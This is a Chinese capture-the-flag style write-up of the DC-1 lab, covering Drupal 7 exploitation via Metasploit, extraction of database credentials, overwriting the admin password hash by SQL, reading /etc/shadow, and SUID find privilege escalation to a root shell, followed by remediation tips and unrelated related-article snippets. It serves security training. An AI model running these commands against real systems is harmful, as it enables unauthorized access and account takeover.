DC-1渗透测试复现

DC-1渗透测试复现

目的:

获取最高权限以及5个flag

过程:

信息打点-cms框架漏洞利用-数据库-登入admin-提权

环境:

攻击机:kali(192.168.85.136)

靶机:DC_1(192.168.85.131)

复现:

一.信息收集

扫描同网段存活的主机

nmap -sP 192.168.85.0/24
或者:
arp-scan -l

发现 192.168.85.131主机存活 进行 扫描 发现 80 (网页) 22 (ssh)连接 111端口(sun),

使用Awvs进行网页扫描 得到服务器和脚本语言

使用 whatweb进行扫描发现 该cms为 Drupal 7 

 然后进行web网页目录的扫描,发现没有啥可利用的

总结:

1.目标IP为192.168.85.131

2. 目标开启的端口有80 22 111端口 其中80端口为一个网页登入页面,22可使用于ssh连接,111带端口也有漏洞利用,web目录扫描有个robots.txt感觉无利用价值

3.目标IP系统为Unix系统,且 服务器为阿帕奇,cms为Drupal 7  脚本语言为PHP等

二 .寻找漏洞 

能够利用的漏洞 先从80端口网页开始,弱口令都登入不了 且登入错误次数过多会进行IP的登入限制,注入也试了无果,尝试22端口进行ssh连接 由于不知道对方用户的用户名 密码 尝试一些基本的弱密码登入无果,然后开始就看框架 阿帕奇的框架漏洞很多,我们先看cms的Drupal 7漏洞利用

发现 可以利用msf进行远程登入

三.漏洞利用

启动msf搜寻Drupal利用模块

找paylaod 

 配置攻击

获得交互 

四.目标主机的信息收集 

发现flag1

Every good CMS needs a config file - and so do you.

说的是就让你找CMS的config 配置文件

或者模糊查询

cat `find / -name settings.php` 

得到flag2 

* flag2* Brute force and dictionary attacks aren't the
暴力破解和字典攻击不是* only ways to gain access (and you WILL need access).
只有获得访问权限的方法(你将需要访问权限)。* What can you do with these credentials?
你能用这些证书做什么?

还有数据库的信息、得到数据库的账号密码以及当前库名

连接mysql 进入数据库一查究竟

mysql -udbuser -pR0ck3t

发现 users表

可以看密码了 

一看就是加密后的形式 有点像base+hash

那就去寻找加密的文件

在/script找到了 password-hash.sh文件

打开看看

$passwords = array();// Parse invocation arguments.
while ($param = array_shift($_SERVER['argv'])) {switch ($param) {case '--root':// Change the working directory.$path = array_shift($_SERVER['argv']);if (is_dir($path)) {chdir($path);}break;default:// Add a password to the list to be processed.$passwords[] = $param;break;}
}define('DRUPAL_ROOT', getcwd());include_once DRUPAL_ROOT . '/includes/password.inc';
include_once DRUPAL_ROOT . '/includes/bootstrap.inc';foreach ($passwords as $password) {print("\npassword: $password \t\thash: ". user_hash_password($password) ."\n");
}
print("\n");

那还不简单吗  自己设置一个自己想要的密码就行了,然后去数据库替换admin的密码不就好了 

 得到wenda加密后的密码 

$S$DnoWasVbfj0/V7Dzv9Ma1Ru.6Y1YqHe4n6PCO9zwI1Rg5/fvjstK

那就回数据库更新密码了

update users set pass = "$S$DnoWasVbfj0/V7Dzv9Ma1Ru.6Y1YqHe4n6PCO9zwI1Rg5/fvjstK" where name = 'admin' ;

 然后登入网页 寻找到了flag3

特殊的 PERMS 将帮助找到密码 - 但您需要执行该命令才能弄清楚如何获取shadow中的内容

那就去看shadow和passwd文件呗 ,发现了flag4 以及文件的路径/home/flag4

我们访问/home/flag4 终于扎到了flag4

Can you use this same method to find or access the flag in root?
在root目录下找flag
Probably. But perhaps it's not that easy.  Or maybe it is?
可能。但也许没那么容易。也许是这样?
五.提权 

访问无权限

终于到了提权的环节了 ,直接find寻找具有suid的指令试试

find / -perm -u=s -type f 2>/dev/null       //查看具有suid权限的命令find / -perm -4000 2>/dev/null         //这个也可以

发现  find可以使用

find拥有suid权限位,尝试以find命令执行whoami 

find `which find` -exec whoami \;

ok啊 root用户 

直接变成root用户吧 

find / -exec "/bin/bash" -p \; 

然后找到了最后一个flag 

收工 

六.修复

1.关闭不必要的22,111危险端口,或者更换端口号

2.将Drupal更新最新版

3.不能随意泄露敏感文件信息

4.取消一些能够提权的函数权限

5.数据库的账号密码不应该以明文形式存入到配置信息中,将数据库密码存储在环境变量中,而不是直接在代码中

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/804393.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python爬虫基础快速入门

目录 前言一、什么是爬虫二、快速编写一个爬虫2.1 爬虫需要用到的库2.2 搭建项目工程2.3 安装三方库2.4 案例编写 三、爬虫实战3.1 目标分析3.2 清洗数据 四、代码改进 前言 本博客旨在分享爬虫技术相关知识,仅供学习和研究之用。使用者在阅读本博客的内容时&#…

Qt/C++推流组件使用说明

2.1 网络推流 公众号:Qt实战,各种开源作品、经验整理、项目实战技巧,专注Qt/C软件开发,视频监控、物联网、工业控制、嵌入式软件、国产化系统应用软件开发。 公众号:Qt入门和进阶,专门介绍Qt/C相关知识点学…

镗床工作台开槽的作用

镗床工作台开槽的作用主要有以下几点: 改善工作台的刚度和稳定性:开槽可以增加工作台的刚度,使其能够承受更大的切削力和振动力,提高工作台的稳定性。 方便工件夹紧和定位:开槽可用于夹紧和定位工件,使其能…

【DM8】序列

创建序列 图形化界面创建 DDL CREATE SEQUENCE "TEST"."S1" INCREMENT BY 1 START WITH 1 MAXVALUE 100 MINVALUE 1;参数&#xff1a; INCREMENT BY < 增量值 >| START WITH < 初值 >| MAXVALUE < 最大值 >| MINVALUE < 最小值…

PostgreSQL入门到实战-第十弹

PostgreSQL入门到实战 PostgreSQL数据过滤(三)官网地址PostgreSQL概述PostgreSQL中OR操作理论PostgreSQL中OR实操更新计划 PostgreSQL数据过滤(三) 了解PostgreSQL OR逻辑运算符以及如何使用它来组合多个布尔表达式。 官网地址 声明: 由于操作系统, 版本更新等原因, 文章所列…

MQ之————如何保证消息的可靠性

MQ之保证消息的可靠性 1.消费端消息可靠性保证&#xff1a; 1.1 消息确认&#xff08;Acknowledgements&#xff09;&#xff1a; 消费者在接收到消息后&#xff0c;默认情况下RabbitMQ会自动确认消息&#xff08;autoAcktrue&#xff09;。为保证消息可靠性&#xff0c;可以…

Thingsboard PE智慧运维仪表板实例(二)【智慧排口截污实例】

ThingsBoard 的仪表板是一个用于可视化和监控物联网数据的重要组件。 它具有以下特点: 1. 可定制性:用户可以根据自己的需求创建各种类型的图表、表格和指标。 2. 数据可视化:以直观的方式展示设备数据,帮助用户快速了解系统状态。 3. 实时更新:实时反映设备的最新数据…

Vant DropdownMenu 下拉菜单带搜索功能

Vant DropdownMenu 下拉菜单带搜索功能 效果图&#xff1a; 上代码&#xff1a; <van-dropdown-menu active-color"#E33737"><van-dropdown-item ref"dropdownItem"><template #title><span>{{ dropdownItem.text }}</span…

PVE下安装配置openwrt和ikuai

开端 openwrt 和 ikuai 是比较出名的软路由系统。我最早接触软路由还是因为我的一个学长要改自己家里的网络&#xff0c;使用软路由去控制网络。我听说后便来了兴致&#xff0c;也在我家搞了一套软路由系统。现在我已经做完了&#xff0c;就想着写个文章记录一下。 软路由简介…

java操作linux

文章目录 远程连接服务器执行linux命令或shell脚本介绍Process的方法相关类UML 工具类基本工具类依赖第三方的工具类 远程连接服务器 java程序远程linux服务器有两个框架分别是&#xff1a;jsch与ganymed-ssh2框架。推荐使用jsch框架&#xff0c;因为ganymed-ssh2框架不支持麒…

百度驾驶证C++离线SDK V1.1 C#接入

百度驾驶证C离线SDK V1.1 C#接入 目录 说明 效果 项目 代码 下载 说明 自己根据SDK封装了动态库&#xff0c;然后C#调用。 SDK包结构 效果 项目 代码 using Newtonsoft.Json; using OpenCvSharp; using System; using System.Collections.Generic; using System.D…

C++矩阵库Armadillo出现warning solve() system is singular错误的解决

本文介绍使用C 语言的矩阵库Armadillo时&#xff0c;出现报错system is singular; attempting approx solution的解决方法。 在之前的文章中&#xff0c;我们介绍过Armadillo矩阵库在Visual Studio软件C环境中的配置方法&#xff08;https://blog.csdn.net/zhebushibiaoshifu/a…

使用midjourney搞出一套三国人物画像!

当下已进入如火如荼的全民AI时代&#xff0c;最近体验了下midjourney&#xff0c;使用它的以图生图功能生成出来一套三国人物画像&#xff0c;和大家分享下使用心得。 使用midjourney的准备工作 下载工具 使用midjourney生产图片依赖的工具和流程&#xff0c;大致如下&#…

vue3移动端H5 瀑布流显示列表

以上效果 是之前发送的改进版 waterList <template><view class"pro-cons" v-if"data.length"><view class"cons-left"><template v-for"(item, index) in data"><template v-if"(index 1) % 2 1…

NLP在搜索召回领域中的应用场景

自然语言处理&#xff08;NLP&#xff09;在搜索召回领域中的应用场景非常广泛&#xff0c;它通过理解和分析人类语言&#xff0c;提高了信息检索的准确性和效率。以下是一些具体的应用场景&#xff1a; 1. 搜索引擎优化 NLP技术可以用于优化搜索引擎的查询处理&#xff0c;通…

【DM8】外部表

外部表是指不存在于数据库中的表。 通过向达梦数据库定义描述外部表的元数据&#xff0c;可以把一个操作系统文件当成一个只读的数据库表&#xff0c;对外部表将像普通定义的表一样访问。 外部表的数据存储在操作系统文件中&#xff0c;建立外部表的时候&#xff0c;不会产生…

下载安装JDK17(windows)

官网地址 Oracle | Cloud Applications and Cloud Platform 点击Products拉倒最下面点击java 点击右下角Download Java 选择JDK17 点击Windows&#xff0c;下载第二个 下载完成点击一下步安装就好了 认真看这段话 ​ JDK 17 binaries are free to use in production and free…

代码整洁之道【2】--函数

关于函数部分的总结 一、函数只做一件事 函数应该只做一件事、做好这件事、只做这件事。 判断函数是否不止做了一件事&#xff0c;还有一个方法&#xff0c;就是看是否能再拆出一个函数&#xff0c;该函数不仅只是单纯地重新 二、函数尽量不要太长 按照作者的理论&#xff…

【算法】双指针算法

个人主页 &#xff1a; zxctscl 如有转载请先通知 题目 1. 283. 移动零1.1 分析1.2 代码 2. 1089. 复写零2.1 分析2.2 代码 3. 202. 快乐数3.1 分析3.2 代码 4. 11. 盛最多水的容器4.1 分析4.2 代码 5. LCR 179. 查找总价格为目标值的两个商品5.1 分析5.2 代码 6. 15. 三数之和…

大语言模型开源数据集

本文目标&#xff1a;汇聚目前大语言模型预训练、微调、RM/RL、评测等全流程所需的常见数据集&#xff0c;方便大家使用&#xff0c;本文持续更新。文章篇幅较长&#xff0c;建议收藏后使用。 一、按语料类型分类 1、维基百科类 No.1 Identifying Machine-Paraphrased Plagia…